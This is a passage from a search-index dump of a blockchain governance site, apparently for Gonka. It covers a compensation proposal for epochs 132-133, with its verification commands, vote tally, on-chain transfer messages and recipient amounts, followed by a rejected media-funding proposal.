If you want to verify the calculations from scratch:
"}, {"location": "proposals/proposals/2026-q1/33/#install-python-dependencies", "title": "Install Python dependencies", "text": "pip install -r requirements.txt
"}, {"location": "proposals/proposals/2026-q1/33/#configure-environment-first-time-only", "title": "Configure environment (first time only)", "text": "cp .env.example .env
"}, {"location": "proposals/proposals/2026-q1/33/#edit-env-to-set-your-archive-node-url-and-inferenced-binary-path", "title": "Edit .env to set your archive node URL and inferenced binary path", "text": ""}, {"location": "proposals/proposals/2026-q1/33/#run-analysis", "title": "Run analysis", "text": ""}, {"location": "proposals/proposals/2026-q1/33/#phase-1-fetch-epoch-data-and-analyze-confirmation-ratio-distributions", "title": "Phase 1: Fetch epoch data and analyze confirmation ratio distributions", "text": "python3 fetch_epoch_data.py 132 133
"}, {"location": "proposals/proposals/2026-q1/33/#phase-2-identify-affected-participants-those-who-received-no-rewards", "title": "Phase 2: Identify affected participants (those who received no rewards)", "text": "python3 identify_affected.py 132 133
"}, {"location": "proposals/proposals/2026-q1/33/#phase-3-calculate-compensation-amounts", "title": "Phase 3: Calculate compensation amounts", "text": "python3 calculate_compensation.py 132 133
Requirements:
Python 3.x
Python packages: pip install -r requirements.txt
.env file configured with:
ARCHIVE_NODE_URL (archive node endpoint)
INFERENCED_BINARY (default: /Users/fixtwin/gonka/gonka/inferenced)
Option 3: Spot-Check Individual Participants
Verify specific participants manually using the archive node:
0 → participant received rewards (not affected)\"># Set up environment INFERENCED=\"/Users/fixtwin/gonka/gonka/inferenced\" ARCHIVE_NODE=\"$ARCHIVE_NODE_URL\" # From .env file
"}, {"location": "proposals/proposals/2026-q1/33/#example-check-if-a-participant-received-rewards-in-epoch-132", "title": "Example: Check if a participant received rewards in epoch 132", "text": "ADDRESS=\"gonka14ued4vcdeluj9v9vmsmteap7vtg7t50640hvmf\"
"}, {"location": "proposals/proposals/2026-q1/33/#query-their-epoch-performance-summary-after-settlement-at-height-2060000", "title": "Query their epoch performance summary (after settlement at height 2,060,000)", "text": "$INFERENCED query inference show-epoch-performance-summary-by-participant \\ 132 $ADDRESS --node $ARCHIVE_NODE --height 2060000 -o json | jq '.'
"}, {"location": "proposals/proposals/2026-q1/33/#look-for-rewarded_coins-field", "title": "Look for \"rewarded_coins\" field:", "text": ""}, {"location": "proposals/proposals/2026-q1/33/#-if-absent-or-0-participant-received-no-rewards-affected", "title": "- If absent or \"0\" → participant received NO rewards (affected)", "text": ""}, {"location": "proposals/proposals/2026-q1/33/#-if-present-with-value-0-participant-received-rewards-not-affected", "title": "- If present with value > 0 → participant received rewards (not affected)", "text": "Key Files Overview
Analysis Scripts
File Purpose
fetch_epoch_data.py Phase 1: Fetch raw epoch data from archive node
identify_affected.py Phase 2: Filter participants by criteria (25-50% CR,
calculate_compensation.py Phase 3: Calculate compensation based on median coefficient
Output Files
File Description
COMPENSATION_SUMMARY.md START HERE - Complete analysis summary
compensation_epoch_*.json Detailed compensation records (ngonka amounts)
compensation_epoch_*.csv Same data in CSV format for spreadsheets
affected_participants_epoch_*.json Lists of qualified affected participants
analyzed_participants_epoch_*.json All candidates analyzed (including those rejected)
epoch_*_data.json Raw epoch data from Phase 1
Raw Data Files
File Description
epoch_132_data.json All 609 participants in epoch 132 with weights
epoch_133_data.json All 594 participants in epoch 133 with weights
Validation Checklist
Use this checklist to verify the analysis:
Verify affected participant criteria:
All have confirmation_ratio between 25% and 50%
All have miss_rate All have rewarded_coins = 0 (received no epoch rewards)
Verify compensation calculation:
Coefficient calculated from median of successful participants
Expected reward = confirmation_weight × coefficient
Compensation = expected_reward - actual_reward (0)
Spot-check sample participants:
Pick 3-5 random affected participants
Query their EpochPerformanceSummary from archive node
Confirm rewarded_coins = 0
Verify their confirmation_ratio is in 25-50% range
Verify totals:
Epoch 132: 13 participants, ~6,970 GONKA
Epoch 133: 32 participants, ~17,830 GONKA
Total: ~24,800 GONKA
Sample Verification Commands
Check a specific participant's qualification
"}, {"location": "proposals/proposals/2026-q1/33/#participant-address", "title": "Participant address", "text": "ADDR=\"gonka1hec2h63xkf9qf7gn07uwucveuhjfrqks8f4dmh\"
"}, {"location": "proposals/proposals/2026-q1/33/#1-check-their-confirmation-ratio-from-epoch_132_datajson", "title": "1. Check their confirmation ratio (from epoch_132_data.json)", "text": "cat epoch_132_data.json | jq --arg addr \"$ADDR\" \\ '.participants[] | select(.address == $addr) | {address, confirmation_ratio, base_weight, confirmation_weight}'
"}, {"location": "proposals/proposals/2026-q1/33/#2-check-their-performance-stats-before-epoch-end", "title": "2. Check their performance stats (before epoch end)", "text": "$INFERENCED query inference show-participant $ADDR \\ --node $ARCHIVE_NODE --height 2058356 -o json | \\ jq '.participant.current_epoch_stats'
"}, {"location": "proposals/proposals/2026-q1/33/#3-check-if-they-received-rewards-after-settlement", "title": "3. Check if they received rewards (after settlement)", "text": "$INFERENCED query inference show-epoch-performance-summary-by-participant \\ 132 $ADDR --node $ARCHIVE_NODE --height 2060000 -o json | \\ jq '.epochPerformanceSummary.rewarded_coins // \"NO REWARDS\"'
Verify the reward coefficient calculation
"}, {"location": "proposals/proposals/2026-q1/33/#sample-a-successful-participant-who-did-receive-rewards", "title": "Sample a successful participant who DID receive rewards", "text": "SUCCESS_ADDR=\"gonka1w6wwv3wq25p8qge4lqsnfzs8lsd3s8ty6au65p\"
"}, {"location": "proposals/proposals/2026-q1/33/#get-their-epoch-summary", "title": "Get their epoch summary", "text": "$INFERENCED query inference show-epoch-performance-summary-by-participant \\ 132 $SUCCESS_ADDR --node $ARCHIVE_NODE --height 2060000 -o json | \\ jq '{rewarded_coins, address}'
"}, {"location": "proposals/proposals/2026-q1/33/#get-their-confirmation_weight", "title": "Get their confirmation_weight", "text": "cat epoch_132_data.json | jq --arg addr \"$SUCCESS_ADDR\" \\ '.participants[] | select(.address == $addr) | {confirmation_weight}'
"}, {"location": "proposals/proposals/2026-q1/33/#calculate-coefficient-manually", "title": "Calculate coefficient manually:", "text": ""}, {"location": "proposals/proposals/2026-q1/33/#coefficient-rewarded_coins-confirmation_weight", "title": "coefficient = rewarded_coins / confirmation_weight", "text": ""}, {"location": "proposals/proposals/2026-q1/33/#should-equal-5279659093-for-epoch-132", "title": "Should equal ~52,796,590.93 for epoch 132", "text": "Questions or Issues?
If the verification reveals discrepancies:
Check archive node accessibility: Ensure the ARCHIVE_NODE_URL from .env is reachable
Verify block heights: Ensure querying at correct heights (see COMPENSATION_SUMMARY.md)
Check conversion factor: 1 GONKA = 1,000,000,000 ngonka (9 decimals)
Review selection criteria: Only participants with ALL three criteria qualify
Technical Details
Archive Node: Configured via environment variables (see .env.example)
Token Denomination: 1 GONKA = 1,000,000,000 ngonka (9 decimals)
Analysis Date: March 5, 2026
Epochs Analyzed: 132, 133
Total Affected Participants: 43 unique addresses (13 + 32 - 2 duplicates)
Recommended Compensation Pool: 24,799.48 GONKA
For questions or clarifications, refer to COMPENSATION_SUMMARY.md for detailed methodology.
"}, {"location": "proposals/proposals/2026-q1/33/#final-tally", "title": "Final Tally", "text": "Yes 184,243 (41.8%) No 0 (0.0%) Veto 0 (0.0%) Abstain 256,296 (58.2%) Total 440,539 votes"}, {"location": "proposals/proposals/2026-q1/33/#messages", "title": "Messages", "text": "# Type 1/inference.streamvesting.MsgBatchTransferWithVesting 2 /cosmos.distribution.v1beta1.MsgCommunityPoolSpend 3 /cosmos.distribution.v1beta1.MsgCommunityPoolSpend 4 /cosmos.distribution.v1beta1.MsgCommunityPoolSpend 5 /cosmos.distribution.v1beta1.MsgCommunityPoolSpend 6 /cosmos.distribution.v1beta1.MsgCommunityPoolSpend 7 /cosmos.distribution.v1beta1.MsgCommunityPoolSpend 8 /cosmos.distribution.v1beta1.MsgCommunityPoolSpend Contract Details [\n {\n \"@type\": \"/inference.streamvesting.MsgBatchTransferWithVesting\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"outputs\": [\n {\n \"recipient\": \"gonka1r3h2aumyr3cjma50w9rkhmfp7ewqnzxyysxqxf\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4843494827072\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1apw5tzk6a3l9hdpdx5q9v2leehvz5rvvw44x8s\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4255766000801\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14ued4vcdeluj9v9vmsmteap7vtg7t50640hvmf\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3616886374064\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1hec2h63xkf9qf7gn07uwucveuhjfrqks8f4dmh\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1825917300632\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1p22v6ncqsys9fh85gdmkakpe24x2zqfyp60z5q\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1090021596230\"\n }\n ]\n },\n {\n \"recipient\": \"gonka178p3vw9zxs885l4a29g3sep0v9uplfq4pzvmrq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1060818652888\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19fpma3577v3fnk8nxjkvg442ss8hvglxwqgzz6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"804947679963\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1s5vtmnn8tqvqfh7gd9hv48kkt2t4mkh7s85zh6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"758407087247\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1pvkv59e72vju2h7s9j3ex62c5xneqey350vpwn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"711355059445\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1l45efpupwqw9uky3gjwy35mwae9jwgffuqpm7s\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"684300143460\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1jrkf560tvgqw3f9z4axs9da34lgnrd396e3rs0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"632440625861\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lmh6fy92ac2wldnpugg3t3xhp8lnqzgq0j0efg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"627223500217\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1v0td7x4ndxhveg50vzp6nkz4s25qy2wpvrxm32\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"494711157525\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1czmu5smv804kq6pqtyvmjxcjjj720mgl4xc3hd\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"271520886519\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ya6mzkqvk7ss3l4jnu5fspt5vvzzmnn2ftqvda\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"220428521548\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1dydrqvyaa0s8puwmk9e5d5x5hchrm883eckngj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"175020698924\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ra2jy33a2uuyu4jq2f9gf8va555f4tkhr3e4j9\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"165992481875\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ktl3kkn9l68c9amanu8u4868mcjmtsr5tgzmjk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"165398106423\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1v8z57yg47n8h4zveyj4cdpn0ll8k9zpcm7egkv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"143659523913\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1tpvcpcmmqcku5g53tv2q4wehgqw3nmeq3jk4vn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"138115881866\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1hqwgkck88d5wnpea0y9dn0gxmyg4rwjgcnvacf\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"137985185878\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19w5vy2z5gz9f4jr76f8uz09023wz2snycaty05\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"134507427301\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17et3ctw6t4d5ylnuc2kwc8xrlwk69y0cggzjqm\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"133680968228\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1jvp4r2dx3t0d736fmxy5ncgwp0w3kdy063m5ps\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"130978525216\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1clm58yldg7zp7dmuwrqyh4quqt339qr3q8fajm\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"129955655047\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10ekkjpyfad6265m2502d4tp3n8yp9n0d7rlzk4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"128319062775\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1njzjqpx6t4jwe9t0fu8vtzn5cj5xjlaussvctx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"122224107996\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zmx4cwayvhf8hevcu6am0sk8ul5trckc2uftmp\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"122224107996\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1g5t786e2hnry8c4d6fd4rh5t3vsfdnevejtsvy\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"119689871632\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1a357vdludl6kpmx0c7cstf3vc0muu7t7ltw8sd\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"118141504588\"\n }\n ]\n },\n {\n \"recipient\": \"gonka150qqxu2zf0lzc3nngal79h0n5ls6lhszzraytv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"113487445316\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1kch7y24sjux5s7qd9l9j02qzusk33xeqwyz0kc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"113027153740\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1c8utgl2469d7mjlhhd4afhj3ycm6rq60y7v8dl\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"104997622909\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1a2k2pz759kj543yzxse4hvvsyjkaw0f42mkpl2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"104895335892\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1j9rxapzwm06quxcul5686e7f39g6swhfhwxtwa\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"104383900807\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10xrtfzs46mmjs8dy48auh2xfxq07dxs0mhdcmp\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"94155199111\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14zzmvt5esggym639wk0v8s3gdgdmnjzrh6p7rv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"91598023687\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ksz9raj0yvg7wxdfhuj5474lmjpkzkphu0jw27\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"33420242057\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1j6ddjngvwy3x0yze36nks8dvlqdep9fxaj67tv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"23781731443\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1vlcd8tr2nh5x6h4wl9vacpzucpp9a2p9rv8c57\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"19997111815\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"18667380595\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1rlf0ggajudsvxuvgkukpmg2xwd06htv4vu2ktx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"10000000000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1vkh8e2uqk9mdw0ql83g0p4ge0wmqstcasulngn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"10000000000\"\n }\n ]\n }\n ],\n \"vesting_epochs\": \"180\"\n },\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka197hqnwcl30x4js3egvaujjmfknlxy7rmfw3y6k\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2500000000000\"\n }\n ]\n },\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka12jaf7m4eysyqt32mrgarum6z96vt55tckvcleq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"100000000000\"\n }\n ]\n },\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka170gvlkfx4vg267y7mx0d5nexlf3lxs8nktjw75\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"100000000000\"\n }\n ]\n },\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka1uvk3w9sswd8nnzt29yjyw94vwmuq6g6h8a2fr7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"100000000000\"\n }\n ]\n },\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka1ss36q35zmqhpj83vctedd25s34qz7d5vspahay\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"100000000000\"\n }\n ]\n },\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka1ajxyae8vgzlh3t6frq64e7vj3fnga7vuxt0zhf\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"100000000000\"\n }\n ]\n },\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka1d5nn7u0hq0pumgmfxk95nj5h3zkuskkdh96dzd\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"100000000000\"\n }\n ]\n }\n]\nGonka Epochs 132-133 CPoC Compensation Analysis
Complete analysis and compensation calculations for participants affected by the Confirmation Proof of Compute (CPoC) bug in Gonka blockchain epochs 132-133.
Overview
This repository contains the complete statistical analysis proving that epochs 132-133 were abnormal, identification of affected participants, and fair compensation calculations based on median reward coefficients from successful participants.
Key Findings:
Epochs 132-133 were statistically abnormal: Confirmation ratios dropped 14-22% below baseline
45 affected participants: 13 in epoch 132, 32 in epoch 133
Total compensation: 24,799.48 GONKA
Selection criteria: CR 25-50%, miss rate Quick Start - Verify the Findings
Option 1: Review Final Results (Recommended)
Read the Summary:
cat COMPENSATION_SUMMARY.md
This provides the complete overview, methodology, and final compensation amounts.
Review Compensation Details:
JSON format: compensation_epoch_132.json and compensation_epoch_133.json
CSV format (Excel-friendly): compensation_epoch_132.csv and compensation_epoch_133.csv
Check Affected Participants Lists:
Epoch 132: affected_participants_epoch_132.json (13 participants)
Epoch 133: affected_participants_epoch_133.json (32 participants)
Option 2: Re-run the Entire Analysis
If you want to verify the calculations from scratch:
"}, {"location": "proposals/proposals/2026-q1/33/full-proposal/#install-python-dependencies", "title": "Install Python dependencies", "text": "pip install -r requirements.txt
"}, {"location": "proposals/proposals/2026-q1/33/full-proposal/#configure-environment-first-time-only", "title": "Configure environment (first time only)", "text": "cp .env.example .env
"}, {"location": "proposals/proposals/2026-q1/33/full-proposal/#edit-env-to-set-your-archive-node-url-and-inferenced-binary-path", "title": "Edit .env to set your archive node URL and inferenced binary path", "text": ""}, {"location": "proposals/proposals/2026-q1/33/full-proposal/#run-analysis", "title": "Run analysis", "text": ""}, {"location": "proposals/proposals/2026-q1/33/full-proposal/#phase-1-fetch-epoch-data-and-analyze-confirmation-ratio-distributions", "title": "Phase 1: Fetch epoch data and analyze confirmation ratio distributions", "text": "python3 fetch_epoch_data.py 132 133
"}, {"location": "proposals/proposals/2026-q1/33/full-proposal/#phase-2-identify-affected-participants-those-who-received-no-rewards", "title": "Phase 2: Identify affected participants (those who received no rewards)", "text": "python3 identify_affected.py 132 133
"}, {"location": "proposals/proposals/2026-q1/33/full-proposal/#phase-3-calculate-compensation-amounts", "title": "Phase 3: Calculate compensation amounts", "text": "python3 calculate_compensation.py 132 133
Requirements:
Python 3.x
Python packages: pip install -r requirements.txt
.env file configured with:
ARCHIVE_NODE_URL (archive node endpoint)
INFERENCED_BINARY (default: /Users/fixtwin/gonka/gonka/inferenced)
Option 3: Spot-Check Individual Participants
Verify specific participants manually using the archive node:
0 → participant received rewards (not affected)\"># Set up environment INFERENCED=\"/Users/fixtwin/gonka/gonka/inferenced\" ARCHIVE_NODE=\"$ARCHIVE_NODE_URL\" # From .env file
"}, {"location": "proposals/proposals/2026-q1/33/full-proposal/#example-check-if-a-participant-received-rewards-in-epoch-132", "title": "Example: Check if a participant received rewards in epoch 132", "text": "ADDRESS=\"gonka14ued4vcdeluj9v9vmsmteap7vtg7t50640hvmf\"
"}, {"location": "proposals/proposals/2026-q1/33/full-proposal/#query-their-epoch-performance-summary-after-settlement-at-height-2060000", "title": "Query their epoch performance summary (after settlement at height 2,060,000)", "text": "$INFERENCED query inference show-epoch-performance-summary-by-participant \\ 132 $ADDRESS --node $ARCHIVE_NODE --height 2060000 -o json | jq '.'
"}, {"location": "proposals/proposals/2026-q1/33/full-proposal/#look-for-rewarded_coins-field", "title": "Look for \"rewarded_coins\" field:", "text": ""}, {"location": "proposals/proposals/2026-q1/33/full-proposal/#-if-absent-or-0-participant-received-no-rewards-affected", "title": "- If absent or \"0\" → participant received NO rewards (affected)", "text": ""}, {"location": "proposals/proposals/2026-q1/33/full-proposal/#-if-present-with-value-0-participant-received-rewards-not-affected", "title": "- If present with value > 0 → participant received rewards (not affected)", "text": "Key Files Overview
Analysis Scripts
File Purpose
fetch_epoch_data.py Phase 1: Fetch raw epoch data from archive node
identify_affected.py Phase 2: Filter participants by criteria (25-50% CR,
calculate_compensation.py Phase 3: Calculate compensation based on median coefficient
Output Files
File Description
COMPENSATION_SUMMARY.md START HERE - Complete analysis summary
compensation_epoch_*.json Detailed compensation records (ngonka amounts)
compensation_epoch_*.csv Same data in CSV format for spreadsheets
affected_participants_epoch_*.json Lists of qualified affected participants
analyzed_participants_epoch_*.json All candidates analyzed (including those rejected)
epoch_*_data.json Raw epoch data from Phase 1
Raw Data Files
File Description
epoch_132_data.json All 609 participants in epoch 132 with weights
epoch_133_data.json All 594 participants in epoch 133 with weights
Validation Checklist
Use this checklist to verify the analysis:
Verify affected participant criteria:
All have confirmation_ratio between 25% and 50%
All have miss_rate All have rewarded_coins = 0 (received no epoch rewards)
Verify compensation calculation:
Coefficient calculated from median of successful participants
Expected reward = confirmation_weight × coefficient
Compensation = expected_reward - actual_reward (0)
Spot-check sample participants:
Pick 3-5 random affected participants
Query their EpochPerformanceSummary from archive node
Confirm rewarded_coins = 0
Verify their confirmation_ratio is in 25-50% range
Verify totals:
Epoch 132: 13 participants, ~6,970 GONKA
Epoch 133: 32 participants, ~17,830 GONKA
Total: ~24,800 GONKA
Sample Verification Commands
Check a specific participant's qualification
"}, {"location": "proposals/proposals/2026-q1/33/full-proposal/#participant-address", "title": "Participant address", "text": "ADDR=\"gonka1hec2h63xkf9qf7gn07uwucveuhjfrqks8f4dmh\"
"}, {"location": "proposals/proposals/2026-q1/33/full-proposal/#1-check-their-confirmation-ratio-from-epoch_132_datajson", "title": "1. Check their confirmation ratio (from epoch_132_data.json)", "text": "cat epoch_132_data.json | jq --arg addr \"$ADDR\" \\ '.participants[] | select(.address == $addr) | {address, confirmation_ratio, base_weight, confirmation_weight}'
"}, {"location": "proposals/proposals/2026-q1/33/full-proposal/#2-check-their-performance-stats-before-epoch-end", "title": "2. Check their performance stats (before epoch end)", "text": "$INFERENCED query inference show-participant $ADDR \\ --node $ARCHIVE_NODE --height 2058356 -o json | \\ jq '.participant.current_epoch_stats'
"}, {"location": "proposals/proposals/2026-q1/33/full-proposal/#3-check-if-they-received-rewards-after-settlement", "title": "3. Check if they received rewards (after settlement)", "text": "$INFERENCED query inference show-epoch-performance-summary-by-participant \\ 132 $ADDR --node $ARCHIVE_NODE --height 2060000 -o json | \\ jq '.epochPerformanceSummary.rewarded_coins // \"NO REWARDS\"'
Verify the reward coefficient calculation
"}, {"location": "proposals/proposals/2026-q1/33/full-proposal/#sample-a-successful-participant-who-did-receive-rewards", "title": "Sample a successful participant who DID receive rewards", "text": "SUCCESS_ADDR=\"gonka1w6wwv3wq25p8qge4lqsnfzs8lsd3s8ty6au65p\"
"}, {"location": "proposals/proposals/2026-q1/33/full-proposal/#get-their-epoch-summary", "title": "Get their epoch summary", "text": "$INFERENCED query inference show-epoch-performance-summary-by-participant \\ 132 $SUCCESS_ADDR --node $ARCHIVE_NODE --height 2060000 -o json | \\ jq '{rewarded_coins, address}'
"}, {"location": "proposals/proposals/2026-q1/33/full-proposal/#get-their-confirmation_weight", "title": "Get their confirmation_weight", "text": "cat epoch_132_data.json | jq --arg addr \"$SUCCESS_ADDR\" \\ '.participants[] | select(.address == $addr) | {confirmation_weight}'
"}, {"location": "proposals/proposals/2026-q1/33/full-proposal/#calculate-coefficient-manually", "title": "Calculate coefficient manually:", "text": ""}, {"location": "proposals/proposals/2026-q1/33/full-proposal/#coefficient-rewarded_coins-confirmation_weight", "title": "coefficient = rewarded_coins / confirmation_weight", "text": ""}, {"location": "proposals/proposals/2026-q1/33/full-proposal/#should-equal-5279659093-for-epoch-132", "title": "Should equal ~52,796,590.93 for epoch 132", "text": "Questions or Issues?
If the verification reveals discrepancies:
Check archive node accessibility: Ensure the ARCHIVE_NODE_URL from .env is reachable
Verify block heights: Ensure querying at correct heights (see COMPENSATION_SUMMARY.md)
Check conversion factor: 1 GONKA = 1,000,000,000 ngonka (9 decimals)
Review selection criteria: Only participants with ALL three criteria qualify
Technical Details
Archive Node: Configured via environment variables (see .env.example)
Token Denomination: 1 GONKA = 1,000,000,000 ngonka (9 decimals)
Analysis Date: March 5, 2026
Epochs Analyzed: 132, 133
Total Affected Participants: 43 unique addresses (13 + 32 - 2 duplicates)
Recommended Compensation Pool: 24,799.48 GONKA
For questions or clarifications, refer to COMPENSATION_SUMMARY.md for detailed methodology.
"}, {"location": "proposals/proposals/2026-q1/34/", "title": "#34 – gonka.ai / TheSoul social media awareness project", "text": "Rejected
Proposal ID: 34
Type: Community Pool Spend
Submit: 2026-03-30 06:37 UTC
Voting: 2026-03-30 06:37 UTC → 2026-03-31 06:37 UTC
Proposer: gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm
Failed reason: proposal did not get enough votes to pass
970,000 GNK · Community PoolView on gonka.gg
This proposal seeks community approval for a global media initiative to build awareness of decentralized AI and position Gonka as core AI infrastructure.
Key elements: Led by TheSoul Group (full-cycle production + global distribution) YouTube-led media ecosystem + multi-platform distribution Educational, community, and ecosystem content Goal: explain risks of centralized AI and benefits of decentralization
Projected results: ~1,000 publications per year Up to 400M views ~140K subscribers in year one
Budget: GNK 970,000 per year Timeline: setup -> launch -> full scale (3 months)
Full presentation: https://www.canva.com/design/DAG5x5pF3M4/VycFkb80_elACWPiaNMOQg/view
"}, {"location": "proposals/proposals/2026-q1/34/#messages", "title": "Messages", "text": "# Type 1/cosmos.distribution.v1beta1.MsgCommunityPoolSpend Contract Details [\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka1ls44amlsum476ajg48dzq09uh9am8rg8qdl2q4r03h75ujfk2t0stkevej\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"970000000000000\"\n }\n ]\n }\n]\nRejected
Proposal ID: 35
Type: Community Pool Spend
Submit: 2026-03-30 06:47 UTC
Voting: 2026-03-30 06:47 UTC → 2026-03-31 06:47 UTC
Proposer: gonka1s3tnqglxt6xwy9ttuedtz8cp4x9tlwp8sdcvvm
Failed reason: proposal did not get enough votes to pass
